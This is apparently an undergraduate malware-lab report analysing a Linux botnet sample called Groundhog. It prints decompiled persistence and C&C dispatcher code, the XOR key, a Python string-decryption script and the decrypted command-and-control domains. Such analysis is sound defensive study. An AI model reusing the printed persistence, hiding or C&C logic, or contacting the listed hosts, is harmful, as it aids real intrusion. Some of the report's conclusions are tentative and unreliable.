Groundhog Botnet — Documentation

This documentation is an analysis and laboratory report which was created as part of a Malware Lab course during my undergraduate studies. The aim of this work is to get an overview of the malware sample obtained. There are no explicit requirements for the analysis methodology, but the use of static analysis methods is recommended, as only one binary is provided as a sample.

sha256 of the sample: c0b0225201fd3a4c08245e58bbb4b844e0d3426e89b9ac3fc34db37d994fb182

Lab Setup

The analyses for Task 2 were mainly performed with Ghidra within a REMnux VM. Furthermore, a custom Python implementation of the encryption and decryption function was used for this lab, which is mentioned and briefly presented in the explanation of the results achieved.

”Deep Dive” initialisation and persistence

1st main() - Initialisation of the malware & part of persistence

The initial main() function is shown below (abbreviated parts are marked with ”#…”):

undefined4 main(int param_1,char **param_2)
 
{
#...
  
#...
  setenv("PATH","/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin",1);
  get_self(local_840,0x400);
  dec_conf(local_1555,"m7A4nQ_/nA",0xb);
  dec_conf(local_1655,"m [(n3",7);
  dec_conf(local_1755,"m6_6n3",7);
  dec_conf(local_1955,&DAT_080b306a,0x12);
  dec_conf(local_1a55,&DAT_080b307c,0x11);
  dec_conf(local_1b55,"m.[$n3",7);
  dec_conf(local_1c55,&DAT_080b3094,0x200);
  dec_conf(local_1855,"m4S4nAC/nA",0xb);
  local_3c = 0;
  while (local_3c < 0x17) {
    encrypt_code(daemonname + local_3c * 0x14,0x14);
    local_3c = local_3c + 1;
  }
  daemon(1,0);
  if (param_1 == 2) {
    local_38 = atoi(param_2[1]);
    local_18 = shmget(local_1c,0x40,0x780);
    if (local_18 == -1) {
      local_18 = shmget(local_1c,0x40,0x380);
      if (local_18 == -1) {
        return 0;
      }
      local_14 = (__pid_t *)shmat(local_18,(void *)0x0,0);
      if (local_14 == (__pid_t *)0xffffffffff) {
        return 0;
      }
      *local_14 = 0;
      shmdt(local_14);
    }
    LinuxExec(*param_2);
    DelService_form_pid(local_38);
    return 0;
  }
#...
 
    strcpy(*param_2,local_1d55);
    snprintf(local_2d55,0x1000,"/proc/%d/exe",local_38);
    tVar4 = time((time_t *)0x0);
    local_24 = tVar4 + 5;
    while( true ) {
      local_28 = time((time_t *)0x0);
      if (local_24 < local_28) {
        _Var3 = getpid();
        HidePidPort(2,(short)_Var3);
        remove(local_840);
        return 0;
      }
      local_34 = readlink(local_2d55,local_3d55,0xfff);
      if ((int)local_34 < 1) break;
      sleep(1);
    }
    DelService(local_3d55);
    CreateDir((char *)local_1555);
    CreateDir((char *)local_1655);
    CreateDir((char *)local_1755);
    randstr((int)&local_1455,10);
    snprintf(local_c4a,0x400,"%s%s",local_1555,&local_1455);
    snprintf(local_104a,0x400,"%s%s",local_1655,&local_1455);
    snprintf(local_144a,0x400,"%s%s",local_1755,&local_1455);
    iVar5 = stat((char *)local_1a55,&local_3db4);
    if (iVar5 == 0) {
      iVar5 = copyfile((char *)local_1a55,local_c4a);
      
#...
 
    HidePidPort(2,(short)local_38);
    _Var3 = getpid();
    HidePidPort(2,(short)_Var3);
    remove(local_840);
    return 0;
    
#...
 
  _Var3 = getpid();
  HidePidPort(1,(short)_Var3);
  init_crc_table();
  lVar7 = sysconf(0x53);
  THREAD_NUM = lVar7 * 2;
  sem_init((sem_t *)sem,0,1);
  pthread_create(&local_40,(pthread_attr_t *)0x0,kill_process,(void *)0x0);
  pthread_create(&local_40,(pthread_attr_t *)0x0,tcp_thread,(void *)0x0);
  pthread_create(&local_40,(pthread_attr_t *)0x0,daemon_get_kill_process,local_1c55);
  do {
    CreateDir((char *)local_1555);
    CreateDir((char *)local_1655);
    CreateDir((char *)local_1755);
    randstr((int)&local_1455,10);
    snprintf(local_c4a,0x400,"%s%s",local_1555,&local_1455);
    snprintf(local_104a,0x400,"%s%s",local_1655,&local_1455);
    snprintf(local_144a,0x400,"%s%s",local_1755,&local_1455);
    iVar5 = copyfile((char *)local_1a55,local_c4a);
    if (iVar5 == 0) {
      iVar5 = copyfile((char *)local_1a55,local_104a);
      if (iVar5 == 0) {
        iVar5 = copyfile((char *)local_1a55,local_144a);
        if (iVar5 != 0) {
          if (local_30 == 0) {
            lchown(local_144a,0xad1473b8,0xad1473b8);
          }
          local_3c = 0;
          while (local_3c < 5) {
            randmd5(local_144a);
            local_84a = 0;
            local_846 = 0;
            local_842 = 0;
            _Var3 = getpid();
            snprintf((char *)&local_84a,10,"%d",_Var3);
            uVar2 = randomid(0,0x17);
            local_34 = (uint)uVar2;
            LinuxExec_Argv2(local_144a,daemonname + local_34 * 0x14,&local_84a);
            local_3c = local_3c + 1;
          }
        }
      }
      else {
        if (local_30 == 0) {
          lchown(local_104a,0xad1473b8,0xad1473b8);
        }
        local_3c = 0;
        while (local_3c < 5) {
          randmd5(local_104a);
          local_84a = 0;
          local_846 = 0;
          local_842 = 0;
          _Var3 = getpid();
          snprintf((char *)&local_84a,10,"%d",_Var3);
          uVar2 = randomid(0,0x17);
          local_34 = (uint)uVar2;
          LinuxExec_Argv2(local_104a,daemonname + local_34 * 0x14,&local_84a);
          local_3c = local_3c + 1;
        }
      }
    }
    else {
      if (local_30 == 0) {
        lchown(local_c4a,0xad1473b8,0xad1473b8);
      }
      local_3c = 0;
      while (local_3c < 5) {
        randmd5(local_c4a);
        local_84a = 0;
        local_846 = 0;
        local_842 = 0;
        _Var3 = getpid();
        snprintf((char *)&local_84a,10,"%d",_Var3);
        uVar2 = randomid(0,0x17);
        local_34 = (uint)uVar2;
        LinuxExec_Argv2(local_c4a,daemonname + local_34 * 0x14,&local_84a);
        local_3c = local_3c + 1;
      }
    }
    sleep(1);
    remove(local_c4a);
    remove(local_104a);
    remove(local_144a);
    sleep(4);
  } while( true );
}

The following commands are used in the main part:

  dec_conf(local_1555,"m7A4nQ_/nA",0xb);
  dec_conf(local_1655,"m [(n3",7);
  dec_conf(local_1755,"m6_6n3",7);
  dec_conf(local_1955,&DAT_080b306a,0x12);
  dec_conf(local_1a55,&DAT_080b307c,0x11);
  dec_conf(local_1b55,"m.[$n3",7);
  dec_conf(local_1c55,&DAT_080b3094,0x200);
  dec_conf(local_1855,"m4S4nAC/nA",0xb);

The dec_conf() function also uses encrypt_code().

undefined4 dec_conf(byte *param_1,void *param_2,size_t param_3)
{
  memmove(param_1,param_2,param_3);
  encrypt_code(param_1,param_3);
  return 0;
}

This implies that dec_conf() stands for decrypt configuration. Since we have the encrypt_code() at hand, the strings can be decrypted:

dec_conf(local_1555, "m7A4nQ_/nA", 0xb); reveals /usr/bin/ dec_conf(local_1655, "m [(n3", 7); reveals /bin/ dec_conf(local_1755, "m6_6n3",7); reveals /tmp/ dec_conf(local_1b55, "m.[$n3", 7); reveals /lib/ dec_conf(local_1855, "m4S4nAC/nA", 0xb); reveals /var/run/

By extracting the memory, these commands can also be decrypted (non-ASCII codes in brackets).

dec_conf(local_1955, & DAT_080b306a, 0x12); reveals sw<10>sp<5><0>upr dec_conf(local_1a55, & DAT_080b307c, 0x11); reveals sv<11>up<10><15>rtr dec_conf(local_1c55, & DAT_080b3094, 0x200); reveals

vw<5>sp<1><4>rrr<11><13><3><9>r<2>qs<11>sr<1><14>uur<1><13><6><7>u<6>ts
uu<10><7>ppw<14><3><6><9>r<6>wq<11>rt<1><14>uup<8><3>
<1><5>q<4>tt<7>qw<6><3>www<12>
<1><5>q<4>tt<7>qw<6><3>www<12>
<1><5>q<4>tt<7>qw<6><3>www<12>
...repetition

This string cannot be interpreted directly.

Another interesting section of the procedure is the following:

...
local_3c = 0;
while (local_3c < 0x17) {
	encrypt_code(daemonname + local_3c * 0x14,0x14);
    local_3c = local_3c + 1;
}
...

Extracting the memory pointing to the daemonname using the procedure encrypt_code() in combination with a wrapper results in the following code:

daemonname = np.array(  
[0x21, 0x23, 0x46, 0x66, 0x33, 0x56, 0x45, 0x2e, 0x2d, 0x37, 0x17, 0x56, 0x5b, 0x5f, 0x20, 0x30, 0x00, 0x00, 0x00, 0x00, 0x31, 0x2a, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, #...
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x32, 0x46, 0x2f, 0x2c, 0x56, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],  
dtype=np.int8)
  
for ix in range(0,0x17):  
    part = daemonname[ix*0x14:(ix+1)*0x14]  
    display_array(encrypt_code(part, 0x14))

Executing this code results in the following script:

cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -antop
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
uptime

Summary - 1st main()

This initial main() function does the following from a high-level perspective:

  • Initialise the program
  • Set up the PATH environment variable
  • Set up directories where the malware is stored
  • Decrypting configuration elements such as relevant system paths
  • Checking the availability of the LKM (Loadable Kernel Module)
  • Compiling an encrypted daemon name
  • Installing the malware as a daemon/service
  • Installing a type of system monitoring with a bash script

In addition, a cron job that executes the “gcc.sh” shell script and the “init.d” file is manipulated or a functional script is added (but this was not investigated further).

2nd “main” - Dispatcher & persistence

undefined4 main(uint param_1, undefined4 param_2, size_t param_3, undefined4 param_4, uint param_5, uint param_6, uint param_7, uint param_8)
 
{
  ssize_t sVar1;
  size_t sVar2;
  byte *pbVar3;
  pthread_t local_28;
  uint local_24;
  uint local_20;
  int local_1c;
  size_t local_18;
  byte *local_14;
  char *local_10;
  uint *local_c;
  
  local_24 = 0;
  local_20 = 0;
  local_1c = 0;
  local_14 = (byte *)0x0;
  local_10 = (char *)0x0;
  local_18 = param_3;
  if (param_3 != 0) {
    local_14 = (byte *)malloc(param_3);
    sVar2 = local_18;
    pbVar3 = local_14;
    if (local_14 == (byte *)0x0) goto switchD_08049504_caseD_0;
    while (sVar2 != 0) {
      *pbVar3 = 0;
      sVar2 = sVar2 - 1;
      pbVar3 = pbVar3 + 1;
    }
    sVar1 = saferecv_t(param_1,(int)local_14,local_18,5);
    if (sVar1 < 1) goto switchD_08049504_caseD_0;
    encrypt_code(local_14,local_18);
  }
  if (true) {
    switch(param_4) {
    case 2:
      g_stop = 1;
      break;
    case 3:
      g_stop = 0;
      local_20 = 0;
      while (local_20 < THREAD_NUM) {
        local_1c = 0;
        local_c = (uint *)malloc(0x40028);
        if (local_c == (uint *)0x0) break;
        memset(local_c,0,0x40028);
        *local_c = local_20;
        local_c[0x10008] = param_7;
        local_c[0x10009] = param_8;
        local_c[0x10007] = param_6;
        init_array((int)(local_c + 8));
        local_24 = 0;
        while (local_24 < param_5) {
          add_task((int)(local_c + 1),(undefined4 *)(local_14 + local_1c));
          local_1c = local_1c + 0x114;
          local_24 = local_24 + 1;
        }
        pthread_create(&local_28,(pthread_attr_t *)0x0,threadwork,local_c);
        local_20 = local_20 + 1;
      }
      break;
    case 6:
      local_10 = strdup((char *)local_14);
      pthread_create(&local_28,(pthread_attr_t *)0x0,downfile,local_10);
      break;
    case 7:
      local_10 = strdup((char *)local_14);
      pthread_create(&local_28,(pthread_attr_t *)0x0,updatefile,local_10);
      break;
    case 8:
      local_10 = strdup((char *)local_14);
      pthread_create(&local_28,(pthread_attr_t *)0x0,send_process_md5,local_10);
      break;
    case 9:
      local_10 = strdup((char *)local_14);
      pthread_create(&local_28,(pthread_attr_t *)0x0,get_kill_process,local_10);
    }
  }
switchD_08049504_caseD_0:
  if (local_14 != (byte *)0x0) {
    free(local_14);
  }
  return 0;
}

The notable part in main() is the switch statement, which acts as a dispatcher for the following commands:

  • threadwork
  • downfile
  • Update file
  • send_process_md5
  • get_kill_process

Also interesting is the part before the switch statement, which looks like it receives encrypted data via saferecv_t() and decrypts it with encrypt_code().

    sVar1 = saferecv_t(param_1,(int)local_14,local_18,5);
    if (sVar1 < 1) goto switchD_08049504_caseD_0;
    encrypt_code(local_14,local_18);

”Deep Dive” C&C

Interesting functions for general C&C functionalities are among others also:

  • tcp_connect
  • tcp_thread
  • build_tcphdr
  • build_udphdr
  • send_udp

*These functions were not analysed in detail, as a closer examination was not necessary to answer the key questions.

Decryption within “C&C” functionality

The following array represents the “Encryption/Decryption Key” for all encryption and decryption routines:

[0x42, 0x42, 0x32, 0x46, 0x41, 0x33, 0x36, 0x41, 0x41, 0x41, 0x39, 0x35, 0x34, 0x31, 0x46, 0x30]

The following decryption routine can be found by searching for decrypt. The routine found is called decrypt_remotestr(void) and shows that:

  • the encrypted data can be found under DAT_080b32ec and the character values | and \0 are used as separators
  • The encryption is based on the function encrypt_code(...,...)

It is assumed that the list management with add_remotelist(local_20c); is not relevant for the analysis and is therefore not analysed further.

void decrypt_remotestr(void)
 
{
  char local_20c [512];
  undefined1 *local_c;
  int local_8;
  
  memset(local_20c,0,0x200);
  local_8 = 0;
  memmove(remotestr,&DAT_080b32ec,0x200);
  encrypt_code(remotestr,0x200);
  local_c = remotestr;
  while (*local_c != '\0') {
    local_8 = 0;
    memset(local_20c,0,0x200);
    while ((*local_c != '|' && (*local_c != '\0'))) {
      local_20c[local_8] = *local_c;
      local_8 = local_8 + 1;
      local_c = local_c + 1;
    }
    if (local_20c[0] != '\0') {
      add_remotelist(local_20c);
    }
    if (*local_c != '\0') {
      local_c = local_c + 1;
    }
  }
  return;
}
Data Analysis: Decryption

The data to be decrypted here is 512 bytes long. After decryption, it is noticeable that the buffer starts repeating the encryption key from position 64 or 61.

DAT_080b32ec
	080b32ec 35 ??         35h 5
	080b32ed 35 ??         35h 5
	080b32ee 1c ??         1Ch
	080b32ef 21 ??         21h !
	080b32f0 3b ??         3Bh ;
	080b32f1 50 ?? 50h P
	080b32f2 50 ?? 50h P
	080b32f3 33 ??         33h 3
	080b32f4 74 ??         74h t
	080b32f5 20 ??         20h     
	080b32f6 41 ??         41h A
	080b32f7 53 ??         53h S
 ....
Conversion to Python code

Copy the data to be decrypted into a numpy array:

encoded_data = np.array([
0x35,0x35,0x1C,0x21,0x3B,0x50,0x50,0x33,0x74,0x20,0x41,0x53,0x02,0x1F,0x25,0x5F,
0x2F,0x78,0x07,0x75,0x3D,0x44,0x41,0x6F,0x26,0x3B,0x5A,0x53,0x46,0x04,0x27,0x48,
 
#...
 
0x42,0x42,0x32,0x46,0x41,0x33,0x36,0x41,0x41,0x41,0x39,0x35,0x34,0x31,0x46,0x30, 
0x42,0x42,0x32,0x46,0x41,0x33,0x36,0x41,0x41,0x41,0x39,0x35,0x34,0x31,0x46,0x30], 
dtype=np.int8)  

The procedure decrypt_remotestr() translates to Python, using the numpy array from the outer section and without the list management, as it is assumed that it will not be used for the analysis:

def decrypt_remotestr():  
  
 
    result = encrypt_code(encoded_data, len(encoded_data))  
  
	result_string = ""  
	empty_string = 0  
    
	print("Decrypted Strings: ")
	
	for c in result:  
		if (c != 0) and (c != ord('|')):  
			result_string += chr(c)  
		else:  
			if len(result_string) == 0:  
				empty_string += 1  
	else:  
				print(result_string)  
				result_string = ""  
	
	print()  				
	print("Empty Count: ", empty_string)  
	

The output of the procedure looks like this:

Decrypted Strings: 
ww.gzcfr5axf6.com:53
ww.gzcfr5axf7.com:53
ww.dnstells.com:53
 
Empty Count: 451
 
Process finished with exit code 0
Summary and Findings
  • The extracted data are URLs that point to port 53.
  • Port 53 is used in DNS for zone transfers and queries.

A Google search for the URLs leads to the following articles and analyses:

The malware is known under the name groundhog.

Encryption within “C&C” functionality

The encryption routine uses XOR encryption and requires two parameters: a buffer address and the buffer length.

 byte * encrypt_code(byte *param_1,int param_2)
 
 {
   byte *local_10;
   int local_c;
   
   local_10 = param_1;
   local_c = 0;
   while (local_c < param_2) {
     *local_10 = *local_10 ^ xorkeys[local_c % 0x10];
     local_c = local_c + 1;
     local_10 = local_10 + 1;
   }
   return param_1;
 }
Data Analysis: Encryption

The encryption routine uses the key stored in memory:

xorkeys
	080cf488 42 undefined142h [0]
	080cf489 42 undefined142h [1]
	080cf48a 32 undefined132h [2]
	080cf48b 46 undefined146h [3]
	080cf48c 41 undefined141h [4]
	080cf48d 33 undefined133h [5]
	080cf48e 36 undefined136h [6]
	080cf48f 41 undefined141h [7]
	080cf490 41 undefined141h [8]
	080cf491 41 undefined141h [9]
	080cf492 39 undefined139h [10]
	080cf493 35 undefined135h [11]
	080cf494 34 undefined134h [12]
	080cf495 31 undefined131h [13]
	080cf496 46 undefined146h [14]
	080cf497 30 undefined130h [15]
 
Conversion into Python code

Encryption routine translated into Python with the embedded key and an offset to simulate pointer arithmetic for later analysis steps:

import numpy as np  
 
def encrypt_code(input_buffer, enc_size, offset=0):  
      
    result_buffer = input_buffer  
  
    xorkeys = np.array(  
        [0x42, 0x42, 0x32, 0x46, 0x41, 0x33, 0x36, 0x41, 
         0x41, 0x41, 0x39, 0x35, 0x34, 0x31, 0x46, 0x30],  
		 dtype=np.int8)  
  
    for ix in range(0, enc_size):  
        result_buffer[ix + offset] = int(result_buffer[ix + offset] ^ xorkeys[ix % 0x10])  
  
    return result_buffer

“Deep Dive” - Further (encrypted) strings

In the following, a few more encrypted strings that have not yet been analysed are decrypted, analysed and interpreted.

Strings from “main()”

Python implementation of the decryption of the encrypted strings used in “main()”:

print('main')  
print('===============================')  
  
dec_conf('dec_conf(local_1555, "m7A4nQ_/nA", 0xb);', "m7A4nQ_/nA", 0xb)  
dec_conf('dec_conf(local_1655, "m [(n3", 7);', "m [(n3", 7)  
dec_conf(' dec_conf(local_1755, "m6_6n3",7);', "m6_6n3", 7)  
  
offset = 0x080b306a-0x080b3060  
data = DAT_080b3060[offset:offset+0x12]  
dec_conf('dec_conf(local_1955, & DAT_080b306a, 0x12)', data, len(data))  
  
offset = 0x080b307c-0x080b3060  
data = DAT_080b3060[offset:offset+0x11]  
dec_conf('dec_conf(local_1a55, & DAT_080b307c, 0x11)', data, len(data))  
  
dec_conf('dec_conf(local_1b55, "m.[$n3", 7);', "m.[$n3", 7)  
  
offset = 0x080b3094-0x080b3060  
data = DAT_080b3060[offset:offset+0x200]  
dec_conf('dec_conf(local_1c55, & DAT_080b3094, 0x200)', data, len(data))  
  
dec_conf('dec_conf(local_1855, "m4S4nAC/nA", 0xb);', "m4S4nAC/nA", 0xb)

Decrypted, this results in the following:

main
===============================
dec_conf(local_1555, "m7A4nQ_/nA", 0xb);
/usr/bin/
 
dec_conf(local_1655, "m [(n3", 7);
/bin/
 
 dec_conf(local_1755,"m6_6n3",7);
/tmp/
 
dec_conf(local_1955, & DAT_080b306a, 0x12)
sw<10>sp<5>
upr
 
dec_conf(local_1a55, & DAT_080b307c, 0x11)
sv<11>up<10><15>rtr
 
dec_conf(local_1b55, "m.[$n3", 7);
/lib/
 
dec_conf(local_1c55, & DAT_080b3094, 0x200)
vw<5>sp<1><4>rrr<11><13><3><9>r<2>qs<11>sr<1><14>uur<1><13><6><7>u<6>ts
uu<10><7>ppw<14><3><6><9>r<6>wq<11>rt<1><14>uup<8><3><1><5>q<4>tt<7>qw<6><3>www<12>
<1><5>q<4>tt<7>qw<6><3>www<12>
<1><5>q<4>tt<7>qw<6><3>www<12>
<1><5>q<4>tt<7>qw<6><3>www<12>
<1><5>q<4>tt<7>qw<6><3>www<12>
#...
 
dec_conf(local_1855, "m4S4nAC/nA", 0xb);
/var/run/

It can be deduced from the wording that these are parts of a configuration to achieve persistence.

Strings from the function: “void kill_process(void)”

Python implementation of the decryption of the encrypted strings used in “main()”:

print('void kill_process(void)')  
print('===============================')  
  
DAT_080b2fd1 = encoded_data = np.array(  
    [0x6d, 0x34, 0x53, 0x34, 0x6e, 0x41, 0x43, 0x2f, 0x6e, 0x26, 0x5a, 0x56, 0x1a, 0x41, 0x2f, 0x54, 0x42, 0x00],  
 dtype=np.int8)  
  
DAT_080b2fe3 = encoded_data = np.array(  
    [0x6d, 0x2e, 0x5b, 0x24, 0x6e, 0x5f, 0x5f, 0x23, 0x34, 0x25, 0x5c, 0x43, 0x1a, 0x42, 0x29, 0x30, 0x00],  
 dtype=np.int8)  
  
dec_conf('dec_conf(local_108, & DAT_080b2fd1, 0x12);', DAT_080b2fd1, 0x12);  
dec_conf('dec_conf(local_208, & DAT_080b2fe3, 0x11);', DAT_080b2fe3, 0x11);  
dec_conf('dec_conf(local_708, "m.[$n3", 7);', "m.[$n3", 7);

Decrypted, the strings from “void kill_process(void)” result in the following strings:

dec_conf(local_108, & DAT_080b2fd1, 0x12);
sw<10>sp<5>
upr
 
dec_conf(local_208, & DAT_080b2fe3, 0x11);
sv<11>up<10><15>rtr
 
dec_conf(local_708, "m.[$n3", 7);
/lib/

Again, these are configurations and manipulations of the system. It can be assumed from the function name that it is responsible for suppressing and terminating a specific service. The function “void kill_process(void)” can be part of the C&C functionality, which can also be triggered remotely.

”Deep Dive” CheckLKM

int CheckLKM(void)
 
{
  undefined2 local_14 [2];
  undefined4 local_10;
  int local_c;
  int local_8;
  
  local_c = -1;
  local_8 = 0xffffffffff;
  local_8 = open("/proc/rs_dev",0x800);
  if (local_8 != -1) {
    local_14[0] = 0;
    local_10 = 0;
    local_c = ioctl(local_8,0x9748712,local_14);
    close(local_8);
  }
  return local_c;
}

The statement open("/proc/rs_dev",0x800) opens/starts device from the following location: /proc/rs_dev. If this already exists, an error is raised 0x800 —> O_EXCL (see fcntl.h).

If the file dropped in the aforementioned location is opened successfully, the device created is read with the custom signature 0x9748712 and saved in the variable: local_14[].

The device is then closed and outputs the status of the creation of the device.

Data analysis

No further data as such could be found in CheckLKM, apart from the device signature 0x9748712.

Summary and findings in CheckLKM

There is no indicator that the “read value” is being used. It can be assumed that CheckLKM checks the presence and status of the “Loadable Kernel Module”.

This kernel module (LKM) appears to be part of the installed persistence and as an interface between the kernel (root) space and the user space.


Summary - Key questions Q&A, short & sweet

In the following section, all questions are briefly summarised and answered in a few sentences.

Q - Which functionality/features does the malware support? Keep it high level.

*A - The sample loads and installs a kernel module that runs in kernel mode (root) and is part of the persistence (privilege escalation). In addition, the malware has a C&C routine that allows it to manipulate and monitor the target system.

Q - How does the sample gain persistence?

*A - The persistence is mainly achieved via the reloaded kernel module and the “CheckLKM” function, which ensures that the kernel module is always present. The LKM specifically ensures “privileged persistence” on the target system. Another part of the malware that at least appears to be responsible for persistence on the target system are all the “system configuration” routines that distribute parts of the malware on the file system and create a cron job.

The created cronjob compiles C code with the “gcc.sh” (GCC —> Gnu C Compiler). What exactly is compiled could/has not been investigated more specifically.

Q - Locate the code for C&C command dispatching. What are the individual commands?

*A -

  • threadwork
  • downfile
  • updatefile
  • send_process_md5
  • get_kill_process
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -antop
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
uptime
Q - What’s the encryption/decryption key for C&C server communication?

*A -

[0x42, 0x42, 0x32, 0x46, 0x41, 0x33, 0x36, 0x41, 0x41, 0x41, 0x39, 0x35, 0x34, 0x31, 0x46, 0x30]

Further details can be found in the documentation

Q - Some strings in the sample are encrypted. Where and how are they decrypted?

*A - Encryption/decryption always works according to the same principle and in the same routine. The “encryption” is XOR, applied with the correct key (see previous question) against the data to be encrypted. Further details can be found in the documentation

Q - Decrypt some of the strings. What are they used for?

*A - Most of the strings that had to be decrypted first are used for configurations, C&C and for achieving persistence.

Q - What’s the purpose of the function CheckLKM?

*A - CheckLKM is a function that checks the integrity and existence of the “Loaded Kernel Module” and, if necessary, reloads and reinstalls it if it is no longer intact or present.

Appendix

  • MalwLab_task2_strings.csv - CSV with most (not encrypted) interesting strings
  • MalwLab_task2_strings.txt - CSV with all unencrypted strings
  • main.py - Own implementation of a “decryption engine” for the encrypted strings